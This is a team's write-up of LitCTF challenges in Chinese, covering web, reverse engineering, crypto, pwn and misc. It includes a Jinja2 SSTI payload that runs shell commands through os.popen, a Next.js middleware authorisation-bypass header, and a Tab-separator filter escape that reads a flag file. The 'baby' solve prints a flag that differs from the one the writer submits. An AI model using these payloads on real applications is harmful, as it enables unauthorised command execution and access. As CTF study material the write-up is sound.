0%

LitCTF-旗山湖游泳WP

队伍名:旗山湖游泳
队伍人数:3
队伍成员: 3a0-Eminem,Susen,Cyzrjz
队伍排名:54

Web

星愿信箱

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
POST / HTTP/1.1

Host: node9.anna.nssctf.cn:23356

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0

Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br

Referer: http://node9.anna.nssctf.cn:23356/

Content-Type: application/json

Content-Length: 138

Origin: http://node9.anna.nssctf.cn:23356

Connection: keep-alive

Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1746415538,1746510112,1747847520,1748145449; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1748145449; HMACCOUNT=188CEC66A9F931A2

X-Forwarded-For: 127.0.0.1

Priority: u=0



{% raw %}
{"cmd":"你{% if ''.__class__.__base__.__subclasses__()[141].__init__.__globals__.os.popen('tac /f*').read()[43] == '§r§' %}success{% endif %}"}
{% endraw %}


懒得写脚本,我是用BP爆破的

1
2
3
你{% if 2>1 %}success{% endif %}可以回显success 说明执行成功
{% if ''.__class__.__mro__[1].__subclasses__()[§1§].__init__.__globals__.os %}success{% endif %}
BP爆破得到好几个可用的,选了141

nest_js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
GET /dashboard HTTP/1.1

Host: node9.anna.nssctf.cn:27064

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0

Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br

Referer: http://node9.anna.nssctf.cn:27064/login

Origin: http://node9.anna.nssctf.cn:27064

Connection: keep-alive

Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1746415538,1746510112,1747847520,1748145449; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1748145449; HMACCOUNT=188CEC66A9F931A2

X-nextjs-data: 1

X-Middleware-Subrequest:src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware

X-Forwarded-For: 127.0.0.1

Priority: u=0

Next.js 中间件授权绕过

先加请求头X-nextjs-data: 1,发现响应包含x-nextjs-rewrite标头,加入payload

1
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware

网上找的nady,直接用就行,参考链接:https://cn-sec.com/archives/3882200.html#google_vignette

Re

easy_rc4

alt text
一眼key = FenKey!!,提取出密文后直接在线网站解码
alt text

后面还有个xor 0x20的操作

alt text

alt text

LitCTF{71bb2a06417a5306ba297ddcfce7b1b0}

pickle

python的Pickle反序列化,用pickletools提取字节流反汇编

1
2
3
4
import pickletools
with open("challenge.pickle", "rb") as f:
data = f.read()
pickletools.dis(data)

翻译后大概是这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def check(user_input):
raw = input("input your flag > ")
flag_bytes = raw.encode()

result = []
for i in range(len(encrypted_flag)):
b = flag_bytes[i] ^ key_ints[i % len(key_ints)]
result.append(b)

if tuple(result) == encrypted_flag:
print("Good job! You made it!")
return True
else:
print("Nah, don't give up!")
return False

提取出encrypted_flagkey_ints

逆向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <iostream>
#include <cstring>
#include <string>

void boom(const char *flag, int key)
{
char tmp[45] = "";
for(int i = 0;i < 45;i++)
{
tmp[i] = flag[i] + key;
}
if(strstr(tmp,"LitCTF") != NULL)
{
printf("%s\n",tmp);
}
}
int main()
{
int encrypted_flag[] = {
85, 84, 174, 227, 132, 190, 207, 142, 77, 24, 235, 236, 231,
213, 138, 153, 60, 29, 241, 241, 237, 208, 144, 222, 115, 16,
242, 239, 231, 165, 157, 224, 56, 104, 242, 128, 250, 211, 150,
225, 63, 29, 242, 169
};
short key[] = {
19, 55, 192, 222, 202, 254, 186, 190
};
char flag[45] = "";
for(int i = 0;i < 45;i++)
{
flag[i] = encrypted_flag[i] ^ key[i % 8];
}
for(int i = 0;i < 0xFF;i++)
{
boom(flag,i);
}
}

LitCTF{6d518316-5075-40ff-873a-d1e8d632e208}

easy_tea

看题目带有tea,猜测tea模板题,解压出来文件名为”花”,猜测有花指令

IDA载入无法直接F5,直接分析反汇编大体内容

alt text
找到疑似key和密文的数据,再找找TEA算法在哪实现

alt text

进入call内部

alt text

去花,然后重构,长这样
alt text

TEA的delta值被魔改了,为0x114514
alt text

回到main函数,修复试试
alt text
NOP掉上图红框部分和上面的db 0,再nop掉jmp short loc_4150A9

alt text
还是有点问题,但没影响了,解密时记得小端序存储问题就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <stdio.h>
#include <stdint.h>

// TEA 解密模板(delta=0x114514)
void tea_decrypt(uint32_t v[2], const uint32_t k[4]) {
uint32_t v0 = v[0];
uint32_t v1 = v[1];
const uint32_t delta = 0x114514;
uint32_t sum = delta * 32;

for (int i = 0; i < 32; i++) {
v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
sum -= delta;
}
v[0] = v0;
v[1] = v1;
}

int main(void) {
uint32_t enc[] = {
0x977457FE,0x0DA3E1880,
0x0B8169108,0x1E95285C,
0x1FE7E6F2,0x2BC5FC57,
0x0B28F0FA8,0x8E0E0644,
0x68454425,0x0C57740D9
};
size_t n_enc = sizeof(enc)/sizeof(enc[0]);
size_t n_blocks = n_enc / 2;

const uint32_t key[4] = {
0x11223344, 0x55667788,
0x99AABBCC, 0xDDEEFF11,
};

uint8_t flag[n_blocks*8 + 1];
size_t pos = 0;

for (size_t i = 0; i < n_blocks; i++) {
uint32_t v[2] = { enc[2*i], enc[2*i + 1] };
tea_decrypt(v, key);
for (int b = 0; b < 4; b++) {
flag[pos++] = (v[0] >> (8 * b)) & 0xFF;
}
for (int b = 0; b < 4; b++) {
flag[pos++] = (v[1] >> (8 * b)) & 0xFF;
}
}
flag[pos] = '\0';

printf("%s\n", flag);
return 0;
}

LitCTF{590939df61690383a47ed1bc6ade9d51}

密码

第一题:basic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Util.number import *
from enc import flag

m = bytes_to_long(flag)
n = getPrime(1024)
e = 65537
c = pow(m,e,n)
print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")

'''
n = 150624321883406825203208223877379141248303098639178939246561016555984711088281599451642401036059677788491845392145185508483430243280649179231349888108649766320961095732400297052274003269230704890949682836396267905946735114062399402918261536249386889450952744142006299684134049634061774475077472062182860181893
e = 65537
c = 22100249806368901850308057097325161014161983862106732664802709096245890583327581696071722502983688651296445646479399181285406901089342035005663657920475988887735917901540796773387868189853248394801754486142362158369380296905537947192318600838652772655597241004568815762683630267295160272813021037399506007505
'''

瞄了一眼,它只用了单个素数n作为模板,那就没什么意思了,直接计算φ(n)和d,最后解m转字符串即可

1
2
3
4
5
6
7
8
9
10
from Crypto.Util.number import long_to_bytes, inverse

n = 150624321883406825203208223877379141248303098639178939246561016555984711088281599451642401036059677788491845392145185508483430243280649179231349888108649766320961095732400297052274003269230704890949682836396267905946735114062399402918261536249386889450952744142006299684134049634061774475077472062182860181893
e = 65537
c = 22100249806368901850308057097325161014161983862106732664802709096245890583327581696071722502983688651296445646479399181285406901089342035005663657920475988887735917901540796773387868189853248394801754486142362158369380296905537947192318600838652772655597241004568815762683630267295160272813021037399506007505
phi = n - 1
d = inverse(e, phi)
m = pow(c, d, n)

print(long_to_bytes(m).decode('utf-8'))

LitCTF{ee2c30dfe684f13a6e6c07b9ec90cc2c}

ez_math

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from sage.all import *
from Crypto.Util.number import *
from uuid import uuid4

flag = b'LitCTF{'+ str(uuid4()).encode() + b'}'
flag = bytes_to_long(flag)
len_flag = flag.bit_length()
e = 65537
p = getPrime(512)
P = GF(p)
A = [[flag, getPrime(len_flag)],
[getPrime(len_flag), getPrime(len_flag)]]
A = matrix(P, A)
B = A ** e

print(f"e = {e}")
print(f"p = {p}")
print(f"B = {list(B)}".replace('(', '[').replace(')', ']'))

# e = 65537
# p = 8147594556101158967571180945694180896742294483544853070485096002084187305007965554901340220135102394516080775084644243545680089670612459698730714507241869
# B = [[2155477851953408309667286450183162647077775173298899672730310990871751073331268840697064969968224381692698267285466913831393859280698670494293432275120170, 4113196339199671283644050914377933292797783829068402678379946926727565560805246629977929420627263995348168282358929186302526949449679561299204123214741547], [3652128051559825585352835887172797117251184204957364197630337114276860638429451378581133662832585442502338145987792778148110514594776496633267082169998598, 2475627430652911131017666156879485088601207383028954405788583206976605890994185119936790889665919339591067412273564551745588770370229650653217822472440992]]

直接丁真到

1
2
A = [[flag,                 getPrime(len_flag)],
[getPrime(len_flag), getPrime(len_flag)]]

是矩阵幂加密
那也没什么好说的了,祖传的板子直接梭哈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from Crypto.Util.number import long_to_bytes, inverse
def mat_mul(A, B, mod):
return [
[(A[0][0]*B[0][0] + A[0][1]*B[1][0]) % mod,
(A[0][0]*B[0][1] + A[0][1]*B[1][1]) % mod],
[(A[1][0]*B[0][0] + A[1][1]*B[1][0]) % mod,
(A[1][0]*B[0][1] + A[1][1]*B[1][1]) % mod]
]
def mat_pow(matrix, exponent, mod):
result = [[1, 0], [0, 1]]
base = matrix
exp = exponent
while exp > 0:
if exp & 1:
result = mat_mul(result, base, mod)
base = mat_mul(base, base, mod)
exp >>= 1
return result
def decrypt():
e = 65537
p = 8147594556101158967571180945694180896742294483544853070485096002084187305007965554901340220135102394516080775084644243545680089670612459698730714507241869
B = [
[2155477851953408309667286450183162647077775173298899672730310990871751073331268840697064969968224381692698267285466913831393859280698670494293432275120170,
4113196339199671283644050914377933292797783829068402678379946926727565560805246629977929420627263995348168282358929186302526949449679561299204123214741547],
[3652128051559825585352835887172797117251184204957364197630337114276860638429451378581133662832585442502338145987792778148110514594776496633267082169998598,
2475627430652911131017666156879485088601207383028954405788583206976605890994185119936790889665919339591067412273564551745588770370229650653217822472440992]
]
order = (p*p - 1) * (p*p - p)
d = inverse(e, order)
A = mat_pow(B, d, p)
flag_int = A[0][0]
flag = long_to_bytes(flag_int)
print("Recovered flag:", flag.decode())

if __name__ == '__main__':
decrypt()

直接解出flag

math

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util.number import *
from enc import flag

m = bytes_to_long(flag)
e = 65537
p,q = getPrime(1024),getPrime(1024)
n = p*q
noise = getPrime(40)
tmp1 = noise*p+noise*q
tmp2 = noise*noise
hint = p*q+tmp1+tmp2
c = pow(m,e,n)
print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")
print(f"hint = {hint}")
'''
n = 17532490684844499573962335739488728447047570856216948961588440767955512955473651897333925229174151614695264324340730480776786566348862857891246670588649327068340567882240999607182345833441113636475093894425780004013793034622954182148283517822177334733794951622433597634369648913113258689335969565066224724927142875488372745811265526082952677738164529563954987228906850399133238995317510054164641775620492640261304545177255239344267408541100183257566363663184114386155791750269054370153318333985294770328952530538998873255288249682710758780563400912097941615526239960620378046855974566511497666396320752739097426013141
e = 65537
c = 1443781085228809103260687286964643829663045712724558803386592638665188285978095387180863161962724216167963654290035919557593637853286347618612161170407578261345832596144085802169614820425769327958192208423842665197938979924635782828703591528369967294598450115818251812197323674041438116930949452107918727347915177319686431081596379288639254670818653338903424232605790442382455868513646425376462921686391652158186913416425784854067607352211587156772930311563002832095834548323381414409747899386887578746299577314595641345032692386684834362470575165392266454078129135668153486829723593489194729482511596288603515252196
hint = 17532490684844499573962335739488728447047570856216948961588440767955512955473651897333925229174151614695264324340730480776786566348862857891246670588649327068340567882240999607182345833441113636475093894425780004013793034622954182148283517822177334733794951622433597634369648913113258689335969565315879035806034866363781260326863226820493638303543900551786806420978685834963920605455531498816171226961859405498825422799670404315599803610007692517859020686506546933013150302023167306580068646104886750772590407299332549746317286972954245335810093049085813683948329319499796034424103981702702886662008367017860043529164
'''

这里存在噪声,会影响h
注意到

1
hint = p*q+tmp1+tmp2

那么就有了恢复p和q的方法
原式可转变为

1
hint−n=(noisep+noiseq+noise**2)=noise(p+q+noise).

那么就有了入手的方向,noise很小,PR法求noise,解pq然后复原d,直接解就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Util.number import *
import gmpy2
n = 17532490684844499573962335739488728447047570856216948961588440767955512955473651897333925229174151614695264324340730480776786566348862857891246670588649327068340567882240999607182345833441113636475093894425780004013793034622954182148283517822177334733794951622433597634369648913113258689335969565066224724927142875488372745811265526082952677738164529563954987228906850399133238995317510054164641775620492640261304545177255239344267408541100183257566363663184114386155791750269054370153318333985294770328952530538998873255288249682710758780563400912097941615526239960620378046855974566511497666396320752739097426013141
e = 65537
c = 1443781085228809103260687286964643829663045712724558803386592638665188285978095387180863161962724216167963654290035919557593637853286347618612161170407578261345832596144085802169614820425769327958192208423842665197938979924635782828703591528369967294598450115818251812197323674041438116930949452107918727347915177319686431081596379288639254670818653338903424232605790442382455868513646425376462921686391652158186913416425784854067607352211587156772930311563002832095834548323381414409747899386887578746299577314595641345032692386684834362470575165392266454078129135668153486829723593489194729482511596288603515252196
hint = 17532490684844499573962335739488728447047570856216948961588440767955512955473651897333925229174151614695264324340730480776786566348862857891246670588649327068340567882240999607182345833441113636475093894425780004013793034622954182148283517822177334733794951622433597634369648913113258689335969565315879035806034866363781260326863226820493638303543900551786806420978685834963920605455531498816171226961859405498825422799670404315599803610007692517859020686506546933013150302023167306580068646104886750772590407299332549746317286972954245335810093049085813683948329319499796034424103981702702886662008367017860043529164
diff = hint - n
X = 942430120937
s = (diff // X) - X
D = gmpy2.isqrt(s * s - 4 * n)
p = (s + D) // 2
q = (s - D) // 2
assert p * q == n, "p*q != n,解出错"
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print("Flag:", flag.decode())

挺不错的题

LitCTF{13dd217e-9a67-4093-8a1b-d2592c45ba82}

baby

这题好难好baby(背比)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import gmpy2
from Crypto.Util.number import *
from enc import flag


m = bytes_to_long(flag)
g = getPrime(512)
t = getPrime(150)
data = (t * gmpy2.invert(m, g)) % g
print(f'g = {g}')
print(f'data = {data}')
'''
g = 7835965640896798834809247993719156202474265737048568647376673642017466116106914666363462292416077666356578469725971587858259708356557157689066968453881547
data = 2966297990428234518470018601566644093790837230283136733660201036837070852272380968379055636436886428180671888655884680666354402224746495312632530221228498
'''

关键的就是

1
data = (t * invert(m, g)) % g

查一下
思路上感觉和Wiener攻击很类似,就是利用“秘密”在数值上比已知量要小很多的特点,通过连分数快速定位到正确的分子/分母
这里线性同余转连分数,然后做收敛分数,自己再修修改改,得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from Crypto.Util.number import long_to_bytes, isPrime
def cont_frac(numer, denom):

while denom:
a = numer // denom
yield a
numer, denom = denom, numer - a * denom
def convergents(cf_terms):

p0, q0 = 1, 0
p1, q1 = cf_terms[0], 1
yield p1, q1
for a in cf_terms[1:]:
p2 = a * p1 + p0
q2 = a * q1 + q0
yield p2, q2
p0, p1 = p1, p2
q0, q1 = q1, q2
def main():
g = 7835965640896798834809247993719156202474265737048568647376673642017466116106914666363462292416077666356578469725971587858259708356557157689066968453881547
data = 2966297990428234518470018601566644093790837230283136733660201036837070852272380968379055636436886428180671888655884680666354402224746495312632530221228498
cf = list(cont_frac(data, g))
for p, q in convergents(cf):
t = data * q - p * g
if t > 0 and t.bit_length() == 150 and isPrime(t):
print("Found potential t:", t)
m = q
print("Recovered m (integer):", m)

flag = long_to_bytes(m)
print("Recovered flag:", flag)
if __name__ == '__main__':
main()

顺利出结果

1
2
3
Found potential t: 1195489027595714782252215502941452926270424077
Recovered m (integer): 637558173724466419510759412644075143734813144557473543913639658885806728973294110666447896405373
Recovered flag: b'LitCTF{56008a819331c9f3608a718327b7e6ce}

LitCTF{db6f52b9265971910b306754b9df8b76}

Pwn

test_your_nc

没过滤Tab键,在shell中Tab键可以当作分隔符

利用python读取文件并打印就行了

1
python3<TAB>-c<TAB>"print(open('flag').read())"

Misc

灵感菇🍄哩菇哩菇哩哇擦灵感菇灵感菇🍄

看源码,有探姬姐姐的项目,直接git clone到本地然后一把梭了(这个真好玩,嘻嘻嘻)
https://github.com/ProbiusOfficial/Lingicrypt
然后就直接终端运行解密即可

Cropping

一眼伪加密,修复即可
修复之后里面是很多的二维码碎片
alt text
掏出之前攒下来的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from PIL import Image
import os
import re

def stitch_tiles(input_dir, output_path):
pattern = re.compile(r"tile_(\d+)_(\d+)\.png$")
tiles = []
for fname in os.listdir(input_dir):
m = pattern.match(fname)
if m:
row, col = map(int, m.groups())
tiles.append((row, col, os.path.join(input_dir, fname)))

if not tiles:
raise ValueError("No tile files found in {}".format(input_dir))
max_row = max(r for r, _, _ in tiles)
max_col = max(c for _, c, _ in tiles)
grid_rows = max_row + 1
grid_cols = max_col + 1
sample_img = Image.open(tiles[0][2])
tile_width, tile_height = sample_img.size
stitched = Image.new('RGB', (tile_width * grid_cols, tile_height * grid_rows), color=(255, 255, 255))
for row, col, path in tiles:
img = Image.open(path)
stitched.paste(img, (col * tile_width, row * tile_height))
stitched.save(output_path)
print(f"Stitched image saved to {output_path}")

if __name__ == '__main__':
import argparse
parser = argparse.ArgumentParser(description='Stitch QR code tiles into one image')
parser.add_argument('-i', '--input', required=True, help='Directory containing tile PNGs')
parser.add_argument('-o', '--output', default='stitched_qr.png', help='Output stitched image path')
args = parser.parse_args()
stitch_tiles(args.input, args.output)

然后终端运行

1
python stitch_qr.py -input (这里我就不写我自己的路径了) -o out.png

得到复原的二维码text
直接扫码得到flag

LitCTF{e7c3f4b2-9a6f-4d3f-9f98-0b3db91c2a12}

像素中的航班

虽然长城杯没打进线下赛,但人在福州,怎么可能不知道长城杯决赛是在福州办的,这次litctf的主办方是郑州轻工业大学,那查航班自然是从郑州到福州的,中国南方航空的飞坤了
这里注意到alt text,这里有一个飞坤的不知道是什么的编号,反正在这几趟航班里,通过这个B-5开头的关键线索就可以准确的定位到正确的航班(一发就过,哦耶)

LitCTF{CZ8289}

消失的文字

这个稍微复杂一点点,先分析流量包
usb流量包?
那很棒了,王一航大佬开发的小工具,直接一把梭出鼠标流量
alt text
这个字符串稍微难读了点(哎,那个B我一直读成18,还好最后试出来了)
拿这个密钥解压缩包,嗷嗷,奇怪的一段话
试试零宽隐写,失败
我卡在这里很久,明明知道这个不是零宽隐写但还是在死磕
最后突然间想到,有可能文件名就是域名,那试试看
https://hidden-word.top/,真的有
直接丢上去解密
alt text

LitCTF{39553317-df30-4951-8aad-fcaf3028ca9d}

问卷题

这场比赛很有意思,这个是毋庸置疑的,而且也很能够引导我们的学习,感谢各位师傅举办了这么精彩的比赛,我们明年还会来参加的,师傅们明年见